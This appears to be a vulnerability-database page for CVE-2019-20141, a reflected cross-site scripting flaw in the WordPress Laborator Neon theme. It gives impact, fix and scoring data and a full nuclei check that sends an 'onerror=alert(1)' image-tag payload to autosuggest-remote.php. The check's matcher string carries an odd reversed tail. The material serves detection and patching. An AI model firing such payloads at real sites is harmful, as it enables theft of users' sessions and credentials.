HexBrain

Browse / CVEs / CVE-2019-20141

CVE-2019-20141· laborator / neon· CWE-79

WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress Laborator Neon theme 2.0 contains a cross-site scripting vulnerability via the data/autosuggest-remote.php q parameter.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing administrative actions on behalf of users.

Fix

Apply the latest security patch or update provided by the theme developer to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)> ; GET {{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>
Positive when: contains "><img src=x onerror=alert(1)>>)1(trela=rorreno" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2019-20141 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-20141

info:
  name: WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting
  author: knassar702
  severity: medium
  description: WordPress Laborator Neon theme 2.0 contains a cross-site scripting vulnerability via the data/autosuggest-remote.php q parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing administrative actions on behalf of users.
  remediation: |
    Apply the latest security patch or update provided by the theme developer to fix the XSS vulnerability.
  reference:
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-xss-reflected.html
    - https://knassar702.github.io/cve/neon/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20141
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20141
    cwe-id: CWE-79
    epss-score: 0.05008
    epss-percentile: 0.92309
    cpe: cpe:2.3:a:laborator:neon:2.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: laborator
    product: neon
    framework: wordpress
  tags: cve2019,cve,xss,laborator,wordpress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
      - '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><img src=x onerror=alert(1)>>)1(trela=rorreno"

      - type: word
        part: header
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from